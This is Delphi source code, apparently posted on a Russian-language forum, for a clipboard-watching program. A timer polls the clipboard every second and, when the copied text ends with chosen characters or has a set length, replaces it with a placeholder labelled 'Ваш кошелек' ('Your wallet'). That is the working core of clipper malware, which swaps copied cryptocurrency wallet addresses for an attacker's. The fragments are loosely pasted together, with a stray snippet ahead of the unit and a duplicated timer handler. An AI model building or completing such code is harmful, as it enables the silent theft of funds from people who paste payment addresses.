if length(ClipBoard.AsText)=13 then
     ClipBoard.SetTextBuf('Ваш кошелек');

procedure TForm1.Timer1Timer(Sender: TObject);
var
s: String;
begin
s:= '123'; //вот тут указываются твои символы по которым будет проверка
CompareItems(s, ClipBoard.AsText);
end;

unit Unit1;

interface

uses
     Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
     Dialogs, StdCtrls, StrUtils, Clipbrd, ExtCtrls;

type
     TForm1 = class(TForm)
       Memo1: TMemo;
       Label3: TLabel;
       Edit1: TEdit;
       Label4: TLabel;
       Timer1: TTimer;
       Button1: TButton;
       Edit2: TEdit;
       Label1: TLabel;
       Label2: TLabel;
       Edit3: TEdit;
       Edit4: TEdit;
       Label5: TLabel;
       Edit5: TEdit;
       Label6: TLabel;
       procedure Timer1Timer(Sender: TObject);
       procedure Button1Click(Sender: TObject);
     private
       { Private declarations }
     public
       { Public declarations }
     end;

var
     Form1: TForm1;
     a, b: String;
     p,s,n,r,d: Integer;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
     a:= ClipBoard.AsText;
     b:= Edit1.Text;
     d:= Length(b);
     n:= Length(ClipBoard.AsText);
     r:= (n - d);
     s:= (r + 1);
     p:=  PosEx(b, a, r);
     Edit2.Text:= IntToStr(n);
     Edit3.Text:= IntToStr(r);
     Edit4.Text:= IntToStr(p);
     Edit5.Text:= IntToStr(s);
     if (n > d) and (p = s) then
         ClipBoard.SetTextBuf('test');
        end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if Button1.Tag = 1 then
begin
Timer1.Interval:= 0;
Button1.Caption:= 'Start';
Button1.Tag:= 0;
end
else
begin
Timer1.Interval:= 1000;
Button1.Caption:= 'Stop';
Button1.Tag:= 1;
end;
end;
end.